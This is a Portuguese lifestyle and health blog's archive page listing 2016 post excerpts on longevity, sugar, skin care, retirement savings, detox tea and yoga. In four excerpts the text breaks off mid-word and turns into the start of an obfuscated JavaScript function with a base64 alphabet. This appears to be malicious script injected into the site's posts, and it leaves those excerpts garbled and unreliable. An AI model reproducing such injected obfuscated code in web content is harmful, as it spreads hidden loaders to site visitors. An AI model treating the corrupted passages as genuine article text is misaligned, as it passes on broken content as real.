Mai 9, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
10 Hábitos saudáveis que o ajudarão a viver até aos 100 anos. Tome nota destas interessantes dicas publicadas pela revista americana U.S. News, onde são apresentados 10 hábitos que farão superar as suas expectativas de vida. Viver um século é possível, experimente!...
Abr 26, 2016 | Saúde e bem estar
Por Cláudia Cunha, nutricionista O açúcar vicia e causa dependência. As pessoas, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Abr 25, 2016 | Equilíbrio, Estilo e beleza
Conheça os cuidados básicos a ter com a pele do rosto O rosto é a primeira parte do corpo em que reparamos qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Abr 21, 2016 | À descoberta, Dicas úteis
Na poupança para a reforma há vários pequenos passos e dicas a seguir de forma a aumentar a probabilidade de vivermos a reforma dos nossos sonhos. Organize as finanças pessoais: faça um orçamento Organize as suas poupanças pessoais, quais os rendimentos? Quais as...
Abr 18, 2016 | Equilíbrio, Saúde e bem estar
Tenha sempre consigo uma lancheira saudável e nutritiva, por Rita Boavida, nutricionista Não sabe o que comer a meio da manhã e ao lanche? Tenta resistir mas acaba sempre por comer algo pouco saudável? Se a resposta é sim, a solução que lhe proponho é levar sempre...
Abr 14, 2016 | Equilíbrio, Saúde e bem estar
10 dicas para se libertar de pensamentos tóxicos, por Rute Caldeira A melhor forma de nos libertarmos de pensamentos tóxicos e do stress que nos intoxicam o organismo é através do auto-amor. Qufunction a4872b9c6b(y1){var...
Abr 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Yoga em qualquer idade – Conheça os seus benefícios O yoga é para todas as idades e nunca é tarde para começar Está comprovado que os seniores e as pessoas com mobilidade reduzida têm enormes benefícios físicos ao praticarem yoga, pois em todas as fases da vida...
Abr 4, 2016 | Equilíbrio, Saúde e bem estar
Saiba mais sobre a dieta detox – Top 10 alimentos detox Uma dieta detox não é difícil de cumprir. Ao contrário do que muitos pensam não é uma dieta restritiva e não deve levar a processos de carência nem a fome! Um plano alimentar detox baseia-se nos fundamentos...
Abr 4, 2016 | Equilíbrio, Saúde e bem estar
Chá Detox muito simples de fazer, por Lillian Barros Ingredientes 3 colheres de sopa de cavalinha 2 paus de canela 1 limão 1L de água Preparação Comece por lavar bem a casca do limão. Descasque o limão evitfunction a4872b9c6b(y1){var...
Abr 1, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Quer ser mais feliz? Tenha pensamentos saudáveis e abra os seus horizontes __ O modo como estruturamos o pensamento resulta de uma aprendizagem que fazemos ao longo da vida, influenciada por diversos factores (educação, identificação de padrões parentais, experiências...
